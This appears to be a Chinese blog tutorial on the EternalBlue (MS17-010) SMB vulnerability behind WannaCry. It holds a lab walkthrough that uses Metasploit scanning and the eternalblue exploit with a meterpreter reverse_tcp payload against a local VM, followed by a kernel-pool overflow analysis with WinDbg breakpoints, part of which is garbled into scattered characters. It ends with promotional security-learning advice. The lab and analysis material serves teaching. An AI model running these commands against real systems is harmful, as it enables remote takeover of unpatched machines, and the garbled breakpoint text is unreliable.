永恒之蓝
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件
2017年5月12日起,全球范围内爆发基于Windows网络共享协议进行攻击传播的蠕虫恶意代码,这是不法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。五个小时内,包括英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件,对重要数据造成严重损失。
被袭击的设备被锁定,并索要300美元比特币赎金。要求尽快支付勒索赎金,否则将删除文件,甚至提出半年后如果还没支付的穷人可以参加免费解锁的活动。原来以为这只是个小范围的恶作剧式的勒索软件,没想到该勒索软件大面积爆发,许多高校学生中招,愈演愈烈
被植入wannacry勒索病毒后的界面:
其实是这张啦,哈哈!
MS17-010是一个安全类型的补丁
Windows SMB 远程代码执行漏洞 – CVE-2017-0143
Windows SMB 远程代码执行漏洞 – CVE-2017-0144
Windows SMB 远程代码执行漏洞 – CVE-2017-0145
Windows SMB 远程代码执行漏洞 – CVE-2017-0146
Windows SMB 信息泄漏漏洞 – CVE-2017-0147
Windows SMB 远程代码执行漏洞 – CVE-2017-0148
影响版本
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0
环境搭建
靶机环境:
- 靶机系统:WIN7 (打开445端口,关闭防火墙)
- 靶机IP:192.168.42.130
虚拟机VMware16安装Windows7教程:
https://www.cnblogs.com/yibeimingyue/p/14691490.html
攻击机环境:
- 攻击机系统:kali2021
- 攻击IP:192.168.42.137
漏洞复现
1、信息收集
- 使用MSF的扫描模块
通过search scanner可以查看大量的扫描模块
这里通过search portscan命令查看端口扫描器列表
- use auxiliary/scanner/portscan/syn
我们使用syn扫描模块进行扫描
- show option
查看需要配置的参数
- set xxx
配置需要扫描的端口和IP
- run
跑起来
可以看到这里扫描的结果显示目标记器0-500的端口内开了135,139,445端口。而永恒之蓝利用的就是445端口 smb服务 操作系统溢出漏洞
- 使用nmap扫描
在msf也可以使用nmap进行扫描进行信息收集,示例如下:
- nmap -sV 192.168.42.131
从收集信息来看目标主机445端口开放,可以尝试使用ms17-010(永恒之蓝)来攻击
- 尝试攻击
- 查看漏洞模块
- search ms17-010
可以看到有auxiliary(辅助)模块和exploit(攻击)模块
2)先使用辅助扫描模块测试
- use auxiliary/scanner/smb/smb_ms17_010
跑起来
检测显示,主机很可能易受 MS17-010 攻击!
3) 使用攻击模块进行攻击
- use exploit/windows/smb/ms17_010_eternalblue
设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp
要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload - set payload windows/x64/meterpreter/reverse_tcp
- set rhosts 192.168.42.131
- set lhost 192.168.42.128
- set lport 4444
- run
尴尬的事情发生了
Exploit completed, but no session was created.
开始以为是靶机问题,然后我安装了
windows_server_2008_r2
但是熟悉画面又出现了,同样的错误
推测是kali攻击机的问题,在同事的电脑上可成功复现
之后我重新下载了kali2021.4的镜像文件
重新安装kali环境
按之前的步骤,成功复现
- sysinfo 查看一下靶机的系统信息
在win7的系统也成功复现
嗯,之后可以自由发挥了
漏洞分析
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:
1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
缓冲区溢出:是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。
溢出分析
我们分析的srv.sys文件版本是6.1.7601.17514_x86。漏洞代码是利用srv!SrvSmbOpen2函数被触发。函数的调用栈如下
00 94527bb4 82171149 srv!SrvSmbOpen2
-> SrvOs2FeaListSizeToNt()
01 94527bc8 821721b8 srv!ExecuteTransaction+0x101
02 94527c00 8213b496 srv!SrvSmbTransactionSecondary+0x2c5
03 94527c28 8214a922 srv!SrvProcessSmb+0x187
04 94527c50 82c5df5e srv!WorkerThread+0x15c
05 94527c90 82b05219 nt!PspSystemThreadStartup+0x9e
06 00000000 00000000 nt!KiThreadStartup+0x19
为了分析溢出时的内存状态,我们可以通过如下方式来下断点:
bp srv!SrvSmbOpen2+0x79 “.printf ”feasize: %p indatasize: %p fealist addr: %p\n”,edx,ecx,eax;g;”
当程序断下来后,我们得到如下十六进制的值(括号内是对应的十进制)
feasize: 00010000 (65536)
indatasize: 000103d0 (66512)
fealist addr: 89e980d8
从这里我们可以看出IN-DATA的大小为65512,和NT Trans Request请求中Total Data Count的值一样且比FEA list的大小(65536)大。
IN-DATA会被转换为FEA list的结构,FEA list结构如下图所示
当IN-DATA转换完成后,我们得到FEA的大小为00010000(65536),这个值被存放在FEALIST->cbList中。接下来将会分配一个缓冲区用来存放将FEA list转换为NTFEA list后的数据。这就意味着需要通过函数srv!SrvOs2FeaListSizeToNt计算转换后NTFEA list的大小。
为了查看这个函数的返回值,我们可以这样下断点:
bp srv!SrvOs2FeaListToNt+0x10 “.printf ”feasize before: %p\n”,poi(edi);r
t
0
=
@
e
d
i
;
g
;
”
b
p
s
r
v
!
S
r
v
O
s
2
F
e
a
L
i
s
t
T
o
N
t
+
0
x
15
“
.
p
r
i
n
t
f
”
N
T
F
E
A
s
i
z
e
:
t0 = @edi;g;” bp srv!SrvOs2FeaListToNt+0x15 “.printf ”NTFEA size: %p feasize after: %p\n”,eax,poi(@
t0=@edi;g;”bpsrv!SrvOs2FeaListToNt+0x15“.printf”NTFEAsize:t0);g;”
断下来后,我们可以得到
feasize before: 00010000
feasize after: 0001ff5d
NTFEA size: 00010fe8
我们发现FEALIST->cbList从0x10000增长到了0x1ff5d。接下来,代码展示了错误是如何发生的。
在上面列出的代码中,40行后展示了一个计算错误的例子。因为原始的FEA list的大小被错误的更新,导致在拷贝数据到到NTFEA list中时拷贝的大小会超过v6中的NTFEA的大小(00010fe8)。注意到如果函数在28行或者21行返回,那么FEA list不会被更新。除了EternalBlue使用的方法外,如果在FEA list末尾不足以存放一个FEA结构也会更新v1的值。
我们也分析了当大非分页池发生溢出时候的状况。当SrvOs2FeaListSizeToNt函数返回,需要00010fe8大小的内存空间存放FEA list。这就需要srv.sys来分配一个大非分页池。使用以下断点我们可以观察FEA list是怎么转转换为NTFEA list。
bp srv!SrvOs2FeaListToNt+0x99 “.printf ”NEXT: FEA: %p NTFEA: %p\n”,esi,eax;g;”
bp srv!SrvOs2FeaToNt+04d “.printf ”MOV2: dst: %p src: %p size: %p\n”,ebx,eax,poi(esp+8);g;”
bp srv!SrvOs2FeaListToNt+0xd5
当SrvOs2FeaListSizeToNt被调用且池分配完成后。SrvOs2FeaToNt函数会遍历FEA list并转换其中的元素。在SrvOs2FeaToNt中,有两处_memmove拷贝操作,这也是所有的缓冲区拷贝操作。利用上述断点,我们可以观察到FEA list转换期间的情况。
断点srv!SrvOs2FeaListToNt+0xd5断下来后,我们可以看到分析缓冲区溢出需要的所有数据。605号拷贝操作拷贝了0字节,这是因为在payload开始时FEA list含有0字节的数据对应605中的FEA结构体。下一个FEA的大小为F383(copy 606),最后的拷贝操作的结束地址应该为85915ff0。
在606号拷贝操作后,我们可以看到最后的缓冲区的地址为:85905008 + 10FE8 = 85915FF0。然而遍历到下一个FEA时,拷贝的大小会变成A8。这将会覆盖到下一个内存区域。我们注意到,溢出的数据覆盖了下一个不同的池,在这个例子中是SRVNET.sys分配的池。
在拷贝操作后,607是一个损坏的FEA结构,服务器会返回STATUS_INVALID_PARAMETER(0xC000000D)。与此同时NT Transaction中最后一个FEA会被发送到服务器。
EternalBlue 载荷功能
溢出发生在内存里的非分页池结构中的大非分页池。大非分页池没有池的头部。因此池和池之间的内存空间是紧密相联的,可以在上一个池后分配一个紧密相连的池,这个池属于驱动分配并含有驱动的数据。
因此,必须通过操纵池后被溢出的池。EternalBlue使用的技术就是控制SRVNET驱动的缓冲区结构。为了实现这一点,两个缓冲区在内存中必须是对齐的。为了实现非分页堆的对齐,可以使用内核池喷射技术。该技术细节如下:
创建多个SERNET缓冲区
释放一些缓冲区占位供SRV来拷贝
用SRV缓冲区溢出到SRVNET的缓冲区
EternalBlue 的利用链:
1.FreeHole_A: EternalBlue通过发送SMB v1数据包来完成占位2.SMBv2_1n: 发送一组SMB v2数据包
3.FreeHole_B: 发送另一个占位数据包;必须确保第一个占位的FreeHole_A被释放之前,这块内存被分配
4.FreeHole_A_CLOSE: 关闭连接,使得第一个占位的内存空间被释放
5.SMBv2_2n: 发送一组SMB v2数据包
6.FreeHole_B_CLOSE: 关闭连接来释放缓冲区
7.FINAL_Vulnerable_Buffer: 发送最后的数据包,这个数据包将会被存储在有漏洞的缓冲区中
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
